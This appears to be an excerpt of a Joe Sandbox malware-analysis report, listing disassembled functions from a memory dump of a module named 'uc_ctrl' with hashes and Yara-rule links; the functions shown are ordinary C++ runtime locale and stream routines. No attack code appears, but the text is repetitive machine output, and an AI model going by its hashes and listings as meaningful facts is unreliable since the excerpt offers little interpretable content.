                                                                                                • Part of subcall function 6CEF9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAA0,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9BFD
                                                                                                • Part of subcall function 6CEF9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9C15
                                                                                                • Part of subcall function 6CEF9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9C79
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF028AD
                                                                                              • ?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF028EA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF0292D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_monthname@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3701595923-0
                                                                                              • Opcode ID: 9187b02d79d3bda5f0fadef8aeb90f35593479df3c14a307992a795dca2f9383
                                                                                              • Instruction ID: 52699690a85124bede8625cb9e08ad27db79bbfeb0e131ca000da8e301123658
                                                                                              • Opcode Fuzzy Hash: 9187b02d79d3bda5f0fadef8aeb90f35593479df3c14a307992a795dca2f9383
                                                                                              • Instruction Fuzzy Hash: 4A216D31A01108EFCB06DBE4C894EEEBFB5AF48708F24405DE105A7741DB319A4ADBA4
                                                                                              Function 6CF059B0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF059B7
                                                                                                • Part of subcall function 6CEFFE8C: __EH_prolog3.LIBCMT ref: 6CEFFE93
                                                                                                • Part of subcall function 6CEFFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF04999,?,00000001,00000008), ref: 6CEFFEC8
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF059E8
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9550: __EH_prolog3.LIBCMT ref: 6CEF9557
                                                                                                • Part of subcall function 6CEF9550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE5C0,?,?,00000000), ref: 6CEF9562
                                                                                                • Part of subcall function 6CEF9550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEF957A
                                                                                                • Part of subcall function 6CEF9550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEF95DE
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF059FD
                                                                                              • ?get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF05A3A
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF05A7D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get_weekday@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 1547896723-0
                                                                                              • Opcode ID: 39eac7a6b2bd287ca41ca51c32e8568d366eaf97d851a97013da3d1499465fc6
                                                                                              • Instruction ID: 1f7cc2dd16cc6360c726ed35d658ac342a11b9dd64837c8a17304f5b58582d6d
                                                                                              • Opcode Fuzzy Hash: 39eac7a6b2bd287ca41ca51c32e8568d366eaf97d851a97013da3d1499465fc6
                                                                                              • Instruction Fuzzy Hash: 78216D35A01108EFCF06DFE4C894EEEBBB5AF49708F24405DE109A7341DB719A49DBA4
                                                                                              Function 6CF02950 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF02957
                                                                                                • Part of subcall function 6CEFFE3E: __EH_prolog3.LIBCMT ref: 6CEFFE45
                                                                                                • Part of subcall function 6CEFFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF01749,?,00000001,00000008), ref: 6CEFFE7A
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF02988
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9BEB: __EH_prolog3.LIBCMT ref: 6CEF9BF2
                                                                                                • Part of subcall function 6CEF9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAA0,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9BFD
                                                                                                • Part of subcall function 6CEF9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9C15
                                                                                                • Part of subcall function 6CEF9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9C79
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF0299D
                                                                                              • ?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF029DA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF02A1D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_year@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 1516647855-0
                                                                                              • Opcode ID: 165ce2f1a052b0a14b3dd2cf9d8d30925656b1d0014abe1f64a2ae4e9930210b
                                                                                              • Instruction ID: 862617472342124eec5392ffa516fc9cd9deb241c5ab12f6159947ffffdae116
                                                                                              • Opcode Fuzzy Hash: 165ce2f1a052b0a14b3dd2cf9d8d30925656b1d0014abe1f64a2ae4e9930210b
                                                                                              • Instruction Fuzzy Hash: A8216A31A01148EFCB06DBE4C894EEEBFB5AF48708F24405DE105A7342DB319A4ADBA4
                                                                                              Function 6CF05AA0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF05AA7
                                                                                                • Part of subcall function 6CEFFE8C: __EH_prolog3.LIBCMT ref: 6CEFFE93
                                                                                                • Part of subcall function 6CEFFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF04999,?,00000001,00000008), ref: 6CEFFEC8
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF05AD8
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9550: __EH_prolog3.LIBCMT ref: 6CEF9557
                                                                                                • Part of subcall function 6CEF9550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE5C0,?,?,00000000), ref: 6CEF9562
                                                                                                • Part of subcall function 6CEF9550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEF957A
                                                                                                • Part of subcall function 6CEF9550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEF95DE
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF05AED
                                                                                              • ?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF05B2A
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF05B6D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get_monthname@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3996869177-0
                                                                                              • Opcode ID: 06bba25b91b4b2ee873167c2d37ff7707bd5802a64ff04791560edde2f7e297f
                                                                                              • Instruction ID: fd7fe17394ca13bcdd079905f0379f3a6c9509a95c32fc65e7f658437c705b1a
                                                                                              • Opcode Fuzzy Hash: 06bba25b91b4b2ee873167c2d37ff7707bd5802a64ff04791560edde2f7e297f
                                                                                              • Instruction Fuzzy Hash: F9216D71A01108EFCF06DFE4C894EEEBBB5AF48708F24405DE109A7342DB759A49DBA4
                                                                                              Function 6CF02A40 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF02A47
                                                                                                • Part of subcall function 6CEFFE3E: __EH_prolog3.LIBCMT ref: 6CEFFE45
                                                                                                • Part of subcall function 6CEFFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF01749,?,00000001,00000008), ref: 6CEFFE7A
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF02A78
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9BEB: __EH_prolog3.LIBCMT ref: 6CEF9BF2
                                                                                                • Part of subcall function 6CEF9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAA0,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9BFD
                                                                                                • Part of subcall function 6CEF9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9C15
                                                                                                • Part of subcall function 6CEF9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9C79
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF02A8D
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAK@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF02ACA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF02B0D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3926143654-0
                                                                                              • Opcode ID: 1a61538f85038575e75c4700b3bbf47c459494bd943c3866211a489016dd2ebc
                                                                                              • Instruction ID: 3cbef4e7b9c8a37add8fafe2804fc80886bdd70463f6a4768b5d425b87ebcb31
                                                                                              • Opcode Fuzzy Hash: 1a61538f85038575e75c4700b3bbf47c459494bd943c3866211a489016dd2ebc
                                                                                              • Instruction Fuzzy Hash: EF216D31A01148EFCB06DFE4C894EEEBFB5AF48708F24405DE105A7342DB759A4ADBA4
                                                                                              Function 6CF00BE0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF00BE7
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6CF00C17
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9C86: __EH_prolog3.LIBCMT ref: 6CEF9C8D
                                                                                                • Part of subcall function 6CEF9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAF1,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9C98
                                                                                                • Part of subcall function 6CEF9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9CB0
                                                                                                • Part of subcall function 6CEF9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9D14
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF00C2D
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WO@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6CF00C5C
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6CF00CA9
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: 737dc573c6557a3bca7022b58f6cadc05c746fd0a3e4c129aa38d3388fdfb383
                                                                                              • Instruction ID: 4a3a3e88fe2404291e45d2eae1874c302a2c361833311a8b5b184a6c57da2209
                                                                                              • Opcode Fuzzy Hash: 737dc573c6557a3bca7022b58f6cadc05c746fd0a3e4c129aa38d3388fdfb383
                                                                                              • Instruction Fuzzy Hash: D321B771A01144EFDB05DFA8C954BFDBBB5AF08708F24808DE145A7381CB755A09DB64
                                                                                              Function 6CEF0BD0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEF0BD7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000040), ref: 6CEF0BF5
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                              • ?_Getifld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,00000800,00000000), ref: 6CEF0C11
                                                                                                • Part of subcall function 6CEF5CD0: __EH_prolog3_GS.LIBCMT ref: 6CEF5CDA
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEF0C22
                                                                                              • _Stoulx.MSVCP140(?,?,00000000,?), ref: 6CEF0C34
                                                                                                • Part of subcall function 6CEDE660: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6CEDE683
                                                                                                • Part of subcall function 6CEDE660: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010), ref: 6CEDE70F
                                                                                                • Part of subcall function 6CEDE660: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6CEDE71D
                                                                                                • Part of subcall function 6CEDE660: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDE774
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@G@std@@@2@1G@std@@@std@@@std@@Getifld@?$num_get@StoulxVlocale@2@Vlocale@2@@_errnoisspacememchrstd::locale::localestd::locale::~localetolower
                                                                                              • String ID:
                                                                                              • API String ID: 554882773-0
                                                                                              • Opcode ID: 2bbcc17c4bbd85bdd89693d0d880a3ba1b0ab376531a458145224aee94b6e61e
                                                                                              • Instruction ID: f1ff5dc1d119d3a1c0477894ad3b68a91d885f1952c865e8106e2b67fd768fa6
                                                                                              • Opcode Fuzzy Hash: 2bbcc17c4bbd85bdd89693d0d880a3ba1b0ab376531a458145224aee94b6e61e
                                                                                              • Instruction Fuzzy Hash: 80210B75901209EBDB14DF94D990ADDB7B8FF08318F60456AF825A7640EB34AA09CBA0
                                                                                              Function 6CF05B90 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF05B97
                                                                                                • Part of subcall function 6CEFFE8C: __EH_prolog3.LIBCMT ref: 6CEFFE93
                                                                                                • Part of subcall function 6CEFFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF04999,?,00000001,00000008), ref: 6CEFFEC8
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF05BC8
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9550: __EH_prolog3.LIBCMT ref: 6CEF9557
                                                                                                • Part of subcall function 6CEF9550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE5C0,?,?,00000000), ref: 6CEF9562
                                                                                                • Part of subcall function 6CEF9550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEF957A
                                                                                                • Part of subcall function 6CEF9550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEF95DE
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF05BDD
                                                                                              • ?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF05C1A
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF05C5D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get_year@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 157422613-0
                                                                                              • Opcode ID: c63e8a078e13d98bcf7e0b3def0f7fe0f6501c57130d212a264c5caa48e0e3bc
                                                                                              • Instruction ID: badc853c436d32a42c30dcba30b810dfa399d0db58b35f9f0b7a2340101311e0
                                                                                              • Opcode Fuzzy Hash: c63e8a078e13d98bcf7e0b3def0f7fe0f6501c57130d212a264c5caa48e0e3bc
                                                                                              • Instruction Fuzzy Hash: 99216D35A01108EFCF06DBE4C854EEEBBB5AF48708F24405DE109A7342DB719A4ADBA4
                                                                                              Function 6CEE8B90 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEE8B97
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000040), ref: 6CEE8BB5
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                              • ?_Getifld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,00000800,00000000), ref: 6CEE8BD1
                                                                                                • Part of subcall function 6CEEA400: __EH_prolog3_GS.LIBCMT ref: 6CEEA407
